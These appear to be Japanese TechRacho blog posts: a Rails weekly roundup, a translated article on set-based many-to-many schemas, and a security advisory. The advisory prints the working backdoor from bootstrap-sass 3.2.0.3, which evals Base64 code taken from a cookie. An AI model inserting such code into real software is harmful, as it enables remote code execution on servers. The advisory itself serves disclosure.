つっつきボイス:「こういう手法ってありそうでないのかなと思って」「ああ、これDataMapperじゃないかな☺」「おぉ、名前があるんですね!」「ソウダッタノカ〜😆」「たぶんですけど😆」「DataMapperという言葉を知らないままで検索してたんじゃ見つからないわけだ😅

参考: 第14回 DataMapperの使い方:Ruby Freaks Lounge|gihyo.jp … 技術評論社

「話を聞いた想像ベースですが、Active Recordモデルとは別にビジネスモデル的なDataMapperオブジェクトがあって、saveはそこでやって、コントローラからそのDataMapperにアクセスすると、そのDataMapperの中からキレイにデータベースを触りに行ってくれる、みたいな?」「それそれ!その中で複数のデータベースアクセスをトランザクションで囲むとかね😋

「ついでにRailsのForm Objectでinclude ActiveModel::Modelって書くやり方を今頃知りました😅」「FormObjectの書き方はそれ以外にもいろいろありますけどね🧐: そうやって書くやり方『も』ある」「なるほど!」

「そもそもForm Objectはデザインパターン的に決められているものではないので、あくまでブラウザから見えるフォームのタグに対応するサーバー側のオブジェクト、ぐらいに考えるのがいいかと」「そうでしたか😅」「なのでinclude ActiveModel::Modelするやり方もあれば、Virtusやdry-rbなんかでやる方法もあります🧐」「そそ、どれでもやれる😋

Rails: dry-rbでForm Objectを作る(翻訳)

「冒頭のActive Modelをincludeするクラスを作るやり方は、gemを足さないでやれるのがいいなと思いました」「そのときの意図としては、既存のActive Recordモデルが既に肥大化しまくってて、それに触らずに特殊な業務を足したいという感じ: オレが足したこのクラスしか触りたくないっ😤みたいな」

「Form Objectとしてだったら、自分なら入り口の型バリデーションをそこでやりたいかな: そうすれば後が楽になるし😋」「それもわかるっ」「というのも、Active Recordモデルって(レスポンスとして)入ってくるデータの型バリデーション機能がないじゃないですか」「そうそうっ😤

「そういえばRails 5.2からでしたっけ、そういう入力のデータ型バリデーション機能が使えるようになったのって」「そうそう、こないだ社内で教えてもらった」「え、そんなのが入ってるのか😅」「これが使えるならそっちがいいですね」

ActiveModel::Attributesのことでした。

参考: ActiveModel::Attributes が最高すぎるんだよな。 - Qiita

「Virtusとかがありがたいのは、そのモデルが持っているパラメータ定義のところに、変数名の他にarrayやintegerといった型を指定しておけば、フォーム入力のパラメータをどかっと一括で渡したときにデータ型を入力の段階でバリデーションできることですね」「そうそう、フォームって特にチェックボックスがエグいものになりがち〜😭」「0と1とnullのどれかを返すみたいな悲しいフォームから悲しいデータがstrong parametersをすり抜けてやってきたりするわけですよ: そういうデータをあらかじめキレイにできるととても嬉しい😂

「で、自分は当初そういうバリデーションをif文で一生懸命書いてたら『こういういいものがありますよ😎』『しかも5.2ならActiveModel::Attributesでもっと楽に書けますよ』って教えてもらったという😆」「Form Objectの流れで言うと、受け取った入力パラメータは全部文字列になってしまうので、そういう文字列データをできるだけ早い段階で文字列じゃないものにしたいというのがありますね😆」「それそれっ😋

⚓アプリケーションロジックとビジネスロジック

# 同記事より
class User < ApplicationRecord
  validates_presence_of :username, :email, :address
end

class RegistrationUser < User
  include ApplicationShape

  validates_confirmation_of :email
  validates_acceptance_of :terms_of_service
end

つっつきボイス:「アプリケーションロジックとビジネスロジックとはみたいな記事のようです」「こういうのはもう『お前がアプリケーションロジックだと思うものがアプリケーションロジックで、ビジネスロジックだと思うものがビジネスロジック』でいいんじゃね?😆」「そう言うしかないかと😆

「記事の中でShape Objectというもの↑が登場しているんですが、他で見かけない言葉みたい」「これも記事の人がこしらえた概念っぽい😆」「独自の概念を作るとやりとりが大変になるんですよね〜」

⚓POSTメソッドでリダイレクトしてやった(RubyFlowより)


つっつきボイス:「あーなるほど!リダイレクトなんだけどそれをPOSTメソッドでやりたいと」「ほほ〜」「たまにこういうことしたくなるときってあるし☺

「ということはPOSTでリダイレクトせざるを得ないときがあるんですね?」「よくあるのが、POSTしか受け付けない外部サーバー」「あ〜」「古い決済サービスとかにありがち😅」「たとえばある決済サービスが、ユーザーが最終的にPOSTで投げないといけないAPI仕様になっていて、でもその前に入力データを動的にゴニョゴニョしたいときとか」

「ところがたとえばAjaxで単にサーバーからリダイレクトしようとすると(ロケーションでforwardしているだけなので)GETしか使えない、そこが悩ましいところ」「そうそう」「で、どうやらこのgemはフロントのJavaScriptを使ってやっているっぽい: 実際にやれますし、自分もやったことあるし😆」「😆」「結局AjaxでやりとりしてからPOSTし直すんですが」

「元のRubyFlowの見出しでは、HTTP 1.1プロトコルの一部だからPOSTではやれないと従来言われていた、と書かれていました↓」「たしかに基本的には邪悪ですね、このやり方は👻」「邪悪👹」「邪悪なんだけど、自分たちが制御できない外部APIの仕様を自分たちのサーバーサイドだけで何とかするという縛りプレイでは、だいたいこうすることになるでしょうね」「なるほど〜」「まあよっぽど困ったときぐらいしか使いませんが😎

There is a common question: – “Is it possible to redirect using a POST method?”
And the answer is: – “Redirection isn’t possible with POST requests – it’s part of the HTTP/1.1 protocol”.
RubyFlowより

「そういえば今日そういうサーバーと戦ってましたね😆」「そのサイトのURLの最後が.doだったですよ🤣」「あ〜察し🤣」「オールPOSTも納得の年代物感🤣

参考: URLの最後が「.do」という拡張子で終わるページは、どういうプロ… - 人力検索はてな

「今のAPIなら普通にJSONで組み立てるところですが、こういうgemが求められたのってJavaScriptが今ほど信用されてなかった頃ですよね😆」「JSでパラメータ組み立てるの大変だった頃😆」「今ならBabelでコンパイルすればブラウザ間依存もないから、こうやってサーバー側で何とかしようとすることもほぼほぼないだろうけど、JSをどうしても書きたくない人とかが使いたいのかも🤣」「🤣

「まあ今でこそJavaScriptがないとやっていけない感じですが、昔はJavaScriptがなくても動かないといけない(キリッ)とかでしたね」「今はW3Cでもそんなことは思ってませんし😆」「お、そうでしたか!👴

⚓金曜日にプルリク数が減るのは赤信号

Code Climateの記事です。


同記事より


つっつきボイス:「上のグラフみたいに金曜日だけやけにプルリクが少ないプロジェクトは、(技術的な問題に限らず)どこかに潜在的に問題を抱えている可能性があるかもしれないそうです」「そういう傾向は多かれ少なかれありそう: Code Climateはデータをいっぱい持っているのでこういう分析が得意ですよね😋」「この間も取り上げた自社のVelocity使って分析してるみたいです」「みんな買ってね、みたいな😆


codeclimate.comより

⚓schema.org: みんなが使っている名前を検索


schema.orgより

Railsdm 2019の「入門 名前」で、ネーミングに便利なサイトとしてごくあっさりと紹介されていました。


つっつきボイス:「他の人がどんなクラス名を付けているのかを知りたいときに便利そうでした」「以下は姉妹サイトのようです↓」


☄より> より

「まあこういういい名前をつけるスキルを伸ばすには、最終的に自分の語彙を地道に増やすしかないんじゃないかな☺」「やっぱりそこに尽きますよね」「いろんなコードを読んだりとか、いろんなライブラリを見たりとか、いろんな英語ドキュメントを読んだりとか、要するにボキャブラリーって読んだ量で決まる😆」「たしかに〜」「employeeって知らなきゃ使いようないし😆

「たとえばシソーラスを使ったとしても、そこにある語が本当にその文脈に合っているのか、という感覚って、今まで見たことがなかったら絶対わからないし」「載ってはいるけどホントにそれでいいのかが気になってまた調べなおしたりとか」

「今振り返っても、自分がどうやってこういう語彙を鍛えたのか自分でも思い出せないし: シソーラスのこの語とあの語のどっちが適切なのか、その辺は感覚としか言いようがないというか」「ポジティブな意味なのかネガティブな意味なのか中立っぽいのか、とか」「この辺は辞書だけだとホントわからない😅」「必死で例文見て考えたりとか」

「その意味では、辞書だけじゃなくて使われ方(コンテキスト)も一緒に見る方が間違いなく確実ですね: さっきのどうやって鍛えたんだろうという話も、いっぱい読むことで『たしかあそこで見た覚えがある』みたいな既視感を育てていたんだと思います」「あ〜そうかも!」

「自分の場合、英和辞典と和英辞典じゃなくて、もっぱらシソーラスと英英辞典を使ってるし: 英英を見ないと、語の雰囲気というか心に迫れる気がしないというか」「それはありますね😋」「私はコーパスもよく使います: 縦が揃うコーパスだとさらに見やすいし😋

参考: コーパス - Wikipedia

「名前付けのセンスって自分はあんまり自信ないけどな〜」「でも逆にこの人は名前付けうまい!っていう人は見たことも聞いたこともありませんけどっ😆」「それはきっと、いい名前が付いていると身体にすっと入っていくから逆に良さに気づかないのかも😆」「あは〜そうかも😆」「いい名前は喉越しがいい🍺」「逆にダメな名前は目障りでイガイガして引っかかりがあるみたいな🤣」「コクがないのにキレもない名前🤣」「🤣

⚓Railsミニアンケート


同記事より


つっつきボイス:「Wroclove.rbというカンファレンスで取ったという短いアンケートですが、単純に楽しいので」「『Railsで幸せになれましたか』😆」「『before_*バリデーション使いますか』が意外にも真っ二つ😆」「あれま、自分大好きなんですけど🥰

「『Deviseは善か悪か』も真っ二つ😆」「『factory派かfixture派か』はfactoryが圧勝😆」「『RSpec派かMinitest派か』もさすがにRSpec😆」「RSpecが主流の時期がありましたからね☺」「RSpecがいいヤツだからRSpec、じゃない予感はするけどっ😆

RSpecえかきうた

⚓エレベーター渋滞の地道な解決


つっつきボイス:「yuguiさんがとても感心してたので読んでみたらとてもいい記事でした❤」「そうそう、これはいい記事☺」「へぇ〜、例の本↓でやってるみたいに鏡を置くとかじゃなくて?」「総務の人が混雑中のエレベーターにスタンバイして乗り降りを人力で制御しながら調査したんそうです」

「しかもエレベーターアルゴリズムを変えてABテストするとすごい金がかかるので💰、ボタンに紙を貼って塞ぐことでテストしたり」「それ天才すぎる!」「言ってみれば小中学生の夏休みの自由研究のようなノリなんですが、そこできっちり成果を出しているところがスゴい👍」「つまり、いわゆるKAIZENってこれでよかったりするんだよなって常々思うわけです☺」「ホントにそう!」「何でもシステムだけで解決しようとするなと😆」「上流工程をやろうとする人は、このことを常に肝に銘じておきたいですね✨

参考: 改善 - Wikipedia

⚓その他Rails



つっつきボイス:「そうそう、chromedriver-helperが終わる」「そういえばRailsdmで誰かがWebpackerがらみの話の中で『最近はSelenium離れが進んでいる』って言ってた気がします」「自分も聞いたかも」「どうなんだろう、自分はそのセッションたぶん見てないけど、最近のフロントエンドのテスト方法が成熟してきて、今までのようにSeleniumをナマで使うことが減ってきたっていうことなんじゃないかな」「あ〜」

「フロントエンドはブラウザやJSが動いているところでやれるから、そもそもSeleniumで書く必要がありませんし: ただRailsなんかだと、Capybaraとかみたいにクライアント側とは違う言語で書きたいというのがあったのでSeleniumが必要だったと」「ふむふむ」「ただSeleniumがめちゃめちゃ重いというのはみんな言ってて😆、だからchromedriver使ったりwebdriverをじかに叩くということをするようになってきたと」「なるほど!」

「Seleniumはものすごく歴史長いので、そろそろ世代交代してもいいような気はしますが☺

⚓Ruby

⚓QuoraがRubyコミッター回答で盛り上がってる


つっつきボイス:「このところQuoraのプログラミング関連のQ&Aが何だか盛り上がっていて、Matzや卜部さんを含むRubyコミッターの皆さんがすごく熱心に答えているので」「そうそう」「個人的に好きなのが『なぜRuby開発者のまつもとゆきひろ氏は最近めっちゃへこんでるんですか?』というQ&Aでした😆」「なんつう😆

「考えてみたら、今までこういう感じのことを聞ける場って意外になかったかもと思ったり」「それにしてもQuoraが今になって急に盛り上がっているのが謎: Quoraってだいぶ前に英語圏で爆発的にヒットしたけど日本版はずっと鳴かず飛ばずでしたし😆」「そうでしたよね」「やっぱり日本の文化に合わないのかななんて思っていたら、ここに来てこの一部での盛り上がりようは一体😆」「対照的に日本版スタックオーバーフローは未だに盛り上がらないけど🤣」「🤣

「Quoraは案外Rubyコミュニティの中で第二の場として成長するのかなと思ったりしました」「Rubyコミュニティは元々名前出しで活動している人が多いからQuoraと合うかも」「Redmineとかもそうですし」

⚓Rubyのメモリがあふれる原因(Ruby Weeklyより)


つっつきボイス:「記事冒頭のこの手書きのグラフ↓、他のRuby技術記事でもそっくりな画像を見た気がするんですけど、星の王子さまの似顔絵的に一種のテンプレになってるのかなと思って😆」「どうだろ😆」「メモリ溢れのグラフってたいていこういう感じで説明されますけどね☺」「GCがメモリを回収しきれてないとだいたいこうなるし」「ともあれこういう記事はありがたい👍」「図もキレイで見やすいです😋


同記事より

⚓RailsをAWS LambdaとSAMで動かす(Ruby Weeklyより)

SAMってこれなんですね↓。

参考: AWS サーバーレスアプリケーションモデル (AWS SAM) の使用 - AWS Lambda


つっつきボイス:「SAMって何だろうと思ったら、AWSのServerless Application Modelsでした」「AWSのSAMはこういうのを簡単にできますみたいな触れ込みのサービスですね: SAMプロファイルとか使って」「へ〜」

「サーバーレスアプリを作ろうとすると、今までだったらLambdaを書いてAPI Gatewayを作ってあそことここをつないで、みたいなことをしてたんですが、SAMだとそれを一発でデプロイできたりします」「おぉ〜」「AWSのCloudFormationでやってもいいんですが、それだとトゥーマッチだったりすることもあるので、SAMはその辺をもっと簡単にやれるヤツだったと思う: もしかするとCloudFormationのインスタンスのひとつなのかもしれない」「ふむぅ」「SAMは割と若いサービスで、2〜3年前ぐらいに登場した気がします☺: デプロイのインターフェイスも揃ってるし」

参考: AWS CloudFormation (設定管理とオーケストレーション) | AWS

「Railsがそこで動くということでしょうか?」「Lambdaなので基本Railsは動きませんね😆: この記事はSAMと組み合わせてそこを何とか動かしてみたのかな?ちゃんと見ないとわからないけど」「では次へ〜」

⚓その他Ruby


同リポジトリより

⚓Ruby trunkより

⚓Ruby 2.7の新構文: numbered parameter(Ruby Weeklyより)

# 元記事より
[1, 2, 3].map { @1 + 3 }
=> [4, 5, 6]

つっつきボイス:「この間Slackのruby板に貼ったら『RubyがPerl化してるような気がする』と言ってた記事です」「そうそう😆、ブロックの中でこの@1みたいに秘密の変数が使えるようになるゾみたいな機能」「なんちゅう😆」「まあ使えると便利なのはワカル☺」「自分はこれ欲しいと思ったことありませんでした😆」「ショートハンドで欲しいときがあるといえばあるかな」「いきなり使われるとちょっとビビるけど😆」「コワい〜🥺


今回は以上です。

バックナンバー(2019年度第1四半期)

週刊Railsウォッチ(20190319-2/2後編)BrowserStackは優秀、QuarkusとTruffleRubyとJRuby、最近のGPS事情ほか

今週の主なニュースソース

ソースの表記されていない項目は独自ルート(TwitterやはてブやRSSなど)です。

Ruby 公式ニュース

Rails公式ニュース

Ruby Weekly

RubyFlow

160928_1638_XvIP4h

Publickey

publickey_banner_captured

Rails: SQLの多対多リレーションを「集合」で扱う(翻訳)

$
0
0

概要

原著者の許諾を得て翻訳・公開いたします。

訳文中のSQL文はsqlfum.ptで整形しました。

SQL: 多対多のリレーションを「集合」で扱う(翻訳)

  • 本記事は、以前の私のブログ記事(2012/11)の再録です。

多対多とは何か

多対多リレーションシップを検索するために、データモデリングを扱うことは非常によくあります。関連する行を多数持つ2つのエンティティが自分のテーブルと他方のテーブルにそれぞれある形です。

よく使われるのは「記事」と「タグ」の例で、この場合1件の記事に多くのタグがあり、1件のタグに多数の記事があります。他にも「本」と「読者」の例もよく使われ、この場合1人の読者は多くの本を読むことができ、1冊の本は多くの読者に読まれます。

古典的なスキーマ

こうしたリレーションシップで用いるスキーマはどのようにしてモデリングするのでしょうか。

最初に、教科書どおりのやりかたについて説明します。この方法にはそれぞれメリットとデメリットがあります。「記事」と「タグ」の例で説明するのが楽なのでこれを使うことにすると、このモデルの問題は最終的に次のようになります。

classic-manytomany

ここではarticlesとtagsという2つのエンティティがあり、両者を互いに結びつける第3のテーブルを用います。この第3のテーブルを結合テーブル(join table)または中間テーブル(junction tables)と呼びます(訳注: 本記事では以下中間テーブルと表記します↓)。

中間テーブルには、2つのメインテーブルを指す外部キーがあります。1つの行は2つのメインテーブルの間の関係を1件作成し、多数の行は多対多の関係を作成します。

一方から他方をたどるのは簡単です。つまり、ある記事にどんなタグがあるかとか、あるタグにどんな記事が関連付けられているかです。たとえば、以下のクエリを実行すると、すべての記事とそれらのタグを出力します。

SELECT
    articles.title, tags.name
FROM
    articles
    INNER JOIN articles_tags
    ON articles_tags.article_id = articles.id
    INNER JOIN tags ON tags.id = articles_tags.tag_id;

           title           |    name
---------------------------+-------------
 Buzzword about buzzwords! | open source
 Buzzword about buzzwords! | ruby
 Buzzword about buzzwords! | programming

古典的スキーマのメリット

リレーションシップについてのメタデータが必要な場合、このモデルが唯一の手法となります。メタデータは、たとえば「作成日」「作成者」であったり、「了承済み」「保留中」「キャンセル」などのステータスである可能性もあります。

もうひとつのメリットは、リレーションシップを簡単に変更できることです。追加や削除が必要な場合は、必要な行を変更するだけでよく、それ以外の部分は変更されません。

古典的スキーマのデメリット

このモデルは、リレーションシップそのものだけが欲しい場合で、かつデータのカーディナリティが本質的に小さい場合(=同じ組み合わせが多数出現する場合)には、極めて冗長になってしまいます。

上の例で言うと、タグの組み合わせが同じである記事が多数ある場合です。

  article_id | tag_id
-------------+-------------
      1      |    1
      1      |    2
      2      |    1
      2      |    2
      3      |    1
      3      |    2

タグidが1と2という組み合わせが複数の記事で繰り返し出現しています。これでタグidが1と2の記事が100万件になると、中間テーブルの行数は200万件になってしまいます。

ブログ記事で実際にこのようなことが起こることはまずないと思われますが、行数が数百万件にのぼる他のデータセットでもこの原則は変わりません。

古典スキーマでは、容量が無駄に使われる(容量のコストは低いのですが)だけではなく、この容量の節約が重要になってきます。理由は、テーブルが小さいほどインデックスも小さくなり、それによってテーブルへのアクセスに必要なI/O操作の頻度も下がり、その分データベースマネージャでキャッシュされるデータが増加するからです。

行数が少ないほど操作は高速になります。

この冗長さは、メインテーブルへの参照が中間テーブルに存在することから生じます。組み合わせを作成する必要が生じるとき、既存の組み合わせについては考慮されません。既存の組み合わせを再利用できないのであれば、同じ組み合わせをまた作成するしかありません。

集合スキーマ

set-manytomany

集合とは何か

以下は、Wikipediaにある、抽象データ型としての集合(セット型とも)からの引用です(参考: Wikipedia日本語版)。

コンピュータサイエンスにおける集合(set)とは、特定の値を保存する抽象データ構造の一種である。集合の中には順序も重複値も存在しない。集合は、数学における有限集合の概念をコンピュータで実装したものである。
Wikipedia英語版より大意

すなわち、値が重複しないデータ構造です。古典スキーマが冗長になる問題の解決に「少しは」使えそうな雰囲気です。

方法

単に中間テーブルを1つ導入するのではなく、さらにsetsというテーブルも導入します。そしてarticlestagsのリレーションではなく、setstagsのリレーションを設定します。

この場合のシナリオは次のようになります。

ユーザー1:

  • ユーザーは記事を1件作成し、それにタグを2つ付ける。
  • タグが存在しない場合は作成する。
  • ここで自問自答: この組み合わせはarticles_tags_sets_tagsテーブルにあるか?
  • 答えはノーなので、articles_tags_setsを1行作成する。
  • そのsetの項目のidを使って、今度はarticles_tags_sets_tagsを1行作成する。
articles_tags_set_id | tag_id
---------------------+--------
                   1 |      1
                   1 |      2
  • その記事に適切なsetの項目ができたので、記事を作成し、articlesテーブルのarticles_tags_set_idカラムを使う集合に関連付ける。

ユーザー2:

  • ユーザーは記事を1件作成し、それにタグを2つ付ける。
  • タグは2つとも存在するので作成は不要。
  • ここで自問自答: この組み合わせはarticles_tags_sets_tagsテーブルにあるか?
  • 答えはイエスなので、この組み合わせを表すarticles_tags_setsidを引っ張ってくるだけでよい。
  • このsetの項目idを用いて、articles行を作成する。

何を行ったかおわかりでしょうか?記事が2件作成されましたが、集合の項目が再利用されています。記事のタグ組み合わせが同じになるたびに、再利用できています。

article_idを中間テーブルから取り除いて代わりにset_idを導入したことで、組み合わせを1つ作成しておけば記事がいくつあっても再利用できます。2つのタグが100万件の記事で使われていても、中間テーブルにはたった2つの行しかありません。凄いとは思いませんか?

組み合わせが一意であることから、これはsetと呼ばれます。そしてsetの1つの項目は、タグの一意の組合せを表します。

クエリ

記事1件に属するタグを検索するクエリは次のようになります。

SELECT
    articles.title, tags.name
FROM
    articles
    INNER JOIN articles_tags_sets_tags
    ON
        articles_tags_sets_tags.articles_tags_set_id
        = articles.articles_tags_set_id
    INNER JOIN tags
    ON tags.id = articles_tags_sets_tags.tag_id;

           title           |    name
---------------------------+-------------
 Buzzword about buzzwords! | programming
 Buzzword about buzzwords! | startups
 Buzzword about buzzwords! | ruby
                          ...

これならわかりやすいですね。

このクエリは先ほどのクエリとほとんど同じ形になっていますが、中間テーブルにarticle_idを置くのではなく、記事のテーブルにarticles_tags_set_idがある点が異なります。このクエリの振る舞いは先ほどのクエリと完全に同じなので、リレーションシップの検索のコストはゼロであり、このテーブルが数十万行に増加しても、通常の中間テーブルの増加より小さく、データベースが扱う行数が極めて少なくて済むので、このJOINは高速になります。

集合の項目が既に存在するかどうかは次のように検索できます。

SELECT
    articles_tags_sets.id AS set_item_id
FROM
    articles_tags_sets_tags
    JOIN articles_tags_sets
    ON
        articles_tags_sets.id
        = articles_tags_sets_tags.articles_tags_set_id
WHERE
    articles_tags_sets_tags.tag_id IN (3, 1)
    AND (
            SELECT
                count(*)
            FROM
                articles_tags_sets_tags AS c
            WHERE
                c.articles_tags_set_id
                = articles_tags_sets_tags.articles_tags_set_id
        )
        = 2
GROUP BY
    articles_tags_sets.id
HAVING
    count(*) = 2;

 set_item_id
------------
          20

クエリはシンプルとまでは言えませんが、複雑というほどでもありません。最初に、行の数(ここでは2行)にマッチする集合の項目を検索し、次にその組み合わせに正確にマッチする集合の項目を検索しているだけです。

注意点

この手法は手放しで利用できるものではありません。デメリットがいくつもあります。

デメリットの中でも筆頭かつ最大のものは、保存と更新に余分なコストがかかることです。1つの行を親テーブルと関連する行に保存しなければならなくなるたびに、子の特定の組み合わせが存在するかどうかを最初にチェックしなければなりません。その組み合わせが存在しない場合には作成しなければならないので、中間テーブルの行を出力すれば済むというわけにはいきません。

更新の場合、組み合わせに新しい行を1つ追加すると、チェックの必要な集合項目を新たに扱うことになります。その集合項目が存在しない場合は全体を作成しなければならないので、中間テーブルに1行挿入すれば済むというわけにはいきません。

このコストは、利用期間と利用状況の増大とともに返済されます。システムの運用が始まって間もない頃は、集合項目がまったく存在しないので、毎回時間と操作というコストを要します。それからしばらく時間が経てばさまざまな組み合わせが揃ってくるので、時間とともに再利用が効くようになってきます。

しかしこれによって別の問題が生じます。扱うデータは「記事とタグ」のように本質的に冗長でなければなりません。そうでないデータに対してこの手法を使うと、組み合わせの集合項目が再利用されず、逆にどんどん作成されてしまいます。この手法を使う場合は、データに繰り返しと冗長性が含まれているかどうかを分析したうえで決定する必要があります。おそらくデータベース全体に適用するのではなく、一部のテーブルに適用することになるでしょう。

さらに別の問題があります。この手法が使えるのはリレーション「だけ」が必要な場合に限られます。リレーションが親の多くの行で共有されるため、リレーションにその他の情報(メタデータ)が必要な場合には使えません。

現実の利用法

現実に使える事例として、私が業務で使っているデータベースからデータの一部を使ってご紹介します。

曲(song)のリストがあり、曲ごとに承認国のリストがあり(平均3〜5か国)、さらに曲ごとに販売方法が異なる(ストリーミング、ダウンロード、ラジオなど)とします。曲と国の組み合わせごとに、その国でのさまざまな販売方法が存在することになるので、多対多リレーションシップが必要になります。

データ件数:

テーブル名 行数
Song 2.5 million
LocalizedSong 12 million
DistributionType 34

曲と国の組み合わせごとの流通の種類のリレーションシップは、平均して10〜15になります。

ここで普通の中間テーブルを使ったために、平均して125万行になり、クエリのスケールが極めて困難になってしまったのです(問題は多対多リレーションシップだけではなく、データモデルが複雑だったためでもあります)。

私たちの場合、カーディナリティが極端に低かった(多くのアルバムは同じレーベルに属し、販売の承認国と流通方法は1つのレーベルで同じ、アルバム内のどの曲も流通方法は同じ、など)ため、このリレーションシップを例の手法に切り替えました。それにより、リレーションシップのテーブルの行数を22,000程度にまで削減できたのです。削減前は1億2千5百万行でした!

この手法は、このようなスケーリングを扱う場合に非常に有用です。

最後に

私はRailsな方々向けに、この手法のコンセプトをhas-many-with-setという素敵なgemにまとめました。

このgemを気に入っていただいた方やご質問のある方は、私までお知らせいただければご相談に乗ります。このgemは、INgroovesでの私のスケーリング業務の一環として設計されたものであり、そのコンセプトを皆さんと共有いたします。皆さんにこのgemを気に入っていただければ、あるいはせめて皆さんが本記事からなにがしか得るものがあればと願っています。

このgemを活用して皆さまの会社のサーバー費用を削減し、社内でヒーローとなりましたら、ぜひお知らせください。私にとって何よりの喜びとなるでしょう。

おたより発掘

関連記事

Rails開発者のためのPostgreSQLの便利技(翻訳)

Railsのトランザクションと原子性のバグ(翻訳)


セキュリティ: 3月26日のbootstrap-sass gem 3.2.0.3に危険なコードが含まれていた(影響を受けるサイトは少ない可能性)

$
0
0

訂正(2019/04/05): タイトル後半を「影響は小さい可能性」->「影響を受けるサイトは少ない可能性」に修正しました。また、「はじめに」のパラグラフを修正・追記いたしました🙇

はじめに

3月26日に公開されていたbootstrap-sass gem 3.2.0.3に危険なコードが含まれていたという情報を記事にしました。
公開されていた期間が短かったこともあり、直接の影響範囲は小さい直接影響を受けるサイトは少ない可能性がありますが、取り込んでしまった場合の脆弱性が大きいため、最近bundle updateを行った方などは一度チェックしてみるとよいでしょう。詳しくは以下の元記事Bなどをご覧いただくようお願いします。

本記事は2019/04/05時点の情報に基づいています。

今朝公開されたRuby Weekly↑のトップに以下の元記事Aが掲載されていました。

追記(2019/04/05)

rubysec/ruby-advisory-dbにも登録されました↓。

追記(2019/04/11)

RubyGems.orgからダウンロードされてしまった3.2.0.3は1,477件あったそうです。

参考: 3.2.0.3? · Issue #1195 · twbs/bootstrap-sass
参考: show downloads and license information for yanked versions too by dwradcliffe · Pull Request #1946 · rubygems/rubygems.org

記事の概要

元記事Aによると、bootstrap-sassの 3.2.0.3にlib/active-controller/middleware.rbというファイルが含まれており、以下のコードが置かれていました。

# 同記事Aより
begin
 require 'rack/sendfile'
 if Rails.env.production?
   Rack::Sendfile.tap do |r|
     r.send :alias_method, :c, :call
     r.send(:define_method, :call) do |e|
       begin
         x = Base64.urlsafe_decode64(e['http_cookie'.upcase].scan(/___cfduid=(.+);/).flatten[0].to_s)
         eval(x) if x
       rescue Exception
       end
       c(e)
     end
   end
 end
rescue Exception
 nil
end

元記事Bで上のコードを以下のように簡単に解説しています。

  • rack/sendfileをrequireしている
  • Railsアプリがproduction環境で実行されている場合にcallメソッドを改変する
  • callメソッドのモンキーパッチによって、クライアント側から送信される___cfduidというHTTP cookieが読み取られ、Base64でデコードして動的なコードをevalしている。動的なコードの実行後は、元のcallメソッドが呼び出される。

参考: What does the Cloudflare cfduid cookie do? – Cloudflare Support__cfduidについてのCloudflareの解説

上述の元記事Bの経過報告によると、このコードを含む3.2.0.3が何者かによって公開されたのは3月26日です(タイムゾーンや時刻は記事で示されていません)。その何者かは、その前にRubyGemsの正常な3.2.0.2を「yank」することで、問題の3.2.0.3が取り込まれるように仕向けていたようです。

そしてbootstrap-sassチームは同日の10:59PM(GMT)に対応を開始し、同日11:56PM(GMT)にはrubygems.orgからの3.2.0.3の削除とcredentialの更新を終えているとのことです。

つまり元記事Bの経過を見る限りでは、汚染された3.2.0.3が公開されていたのは1日足らずだったということになります。

現在は問題のコードはリポジトリから削除され、修正済みの3.2.0.4がリリースされています。汚染された3.2.0.3は現在rubygems.orgからは取得できないようになっています。

元記事Bによると、bootstrap-sassのメンテナーは2人で、どちらかのcredentialを奪われていた可能性が示唆されていますが、まだ公式な確認は取れていないそうです。

もし運悪くbootstrap-sass 3.2.0.3をRailsアプリに取り込んでしまっていた場合は、元記事Bにもあるように3.2.0.4にアップグレードすることで、メジャーアップグレードなしで問題を修正できます。

個人の感想ですが、今回のbootstrap-sassチームの対応の迅速さは見事だと思いました。


なお、bootstrap-sassはTwitterが公式に出しているgemです。現時点の最新バージョンは3.4.1(master)です。

CVE

bootstrap-sassの関連issue

詳しくは上のissueや元記事をごらんください。

関連記事

Railsアプリで実際にあった5つのセキュリティ問題と修正方法(翻訳)

週刊Railsウォッチ(20190408-1/2前編)RubyKaigiの予習資料、Rails「今年ベストのプルリク」、numbered parametersの議論ほか

$
0
0

こんにちは、hachi8833です。とうとうGoogle Plusが終わってTechRacho記事の上のG+ボタンが消えましたが、Inbox By Gmail(iPhoneアプリ)まで終了とは油断でした😇


つっつきボイス:「Google Plus終わりましたね👋」「ひと月ぐらい前からG+ボタンがひとりでに消滅しました😇」「公式のG+ボタンだからでしょうね☺: 自分でカスタマイズしているボタンだと消えなさそう」

「ところでGoogle Plusの終了対応やった人います?」「やってないかな〜」「お、私はサイトからGoogle Plusのauth login外す作業やりました😆

  • 各記事冒頭には⚓でパーマリンクを置いてあります: 社内やTwitterでの議論などにどうぞ
  • 「つっつきボイス」はRailsウォッチ公開前ドラフトを(鍋のように)社内有志でつっついたときの会話の再構成です👄
  • 毎月第一木曜日に「公開つっつき会」を開催しています: お気軽にご応募ください

4/4(木)の第9回 公開つっつき会には7名のゲストが参加し、BPS社員も交えてこれまでで最大の賑わいとなりました。本当にありがとうございます😂

⚓Rails: 先週の改修(Rails公式ニュースより)

公式の更新情報のいくつかは、先週のウォッチで@jeremy氏のキーノートで先回りしましたので、それ以外のものを取り上げました。

⚓「今年ベストのPR」

と公式の更新情報に書かれていました。

"foo123".html_safe.sub(/([a-z]+)([0-9]+)/) {
  $2 + $1 #=> undefined method `+' for nil:NilClass (NoMethodError)
}

つっつきボイス:「今年ベストと!」「@shugoさんによるActive Supportの機能追加なんですが、#subとかで正規表現の$1みたいな後方参照(back reference)が効いていなかったのが効くようになったそうです」「後方参照をそもそも使ったことがなかった😆」「やりたい人はいそう」「上↑みたいなのはやりたい場合があるかも!」「@amatsudaさんがRubyらしい修正方法ととても喜んでました」「自分でそれ用のメソッド書くより(・∀・)イイ!!」

Ruby: 正規表現の後方参照を「正しく」エスケープする方法(翻訳)

⚓roflscalingを削除

# activerecord/lib/arel/visitors/mssql.rb#L109
-           inject_join o.wheres, collector, AND
+           inject_join o.wheres, collector, " AND "

つっつきボイス:「修正そのものは単純なんですが、このroflscalingという言葉がどこから来たのかが謎で🤔、roflを何度もrolfと書き間違えました😅」「あーなるほど、何を変えたかはコード見ればとてもわかりみ😋: 由来はわからんけど😆」「全然わからない😅」「謎すぎ😅」「プルリクで挙動については説明してくれていますね↓」

roflscaling (using frozen string constants instead of literal strings)

「どうも8年前のRedditの書き込みと動画↓が関連しているようで、その時期にバズったジャーゴンか何かのようです」

いかにもな機械音声でゆっくろいどを思い出しました。

「更新前のドキュメントでInstructionSequenceとか使ってる↓し、インストラクションレベルのすごーく微細な部分の最適化をroflscaleって呼んでるのかな?」「roflscaleしたことでかなり速くなってたのか😳」「Rubyのfrozen string literal化でそれが不要になったということみたいですね」

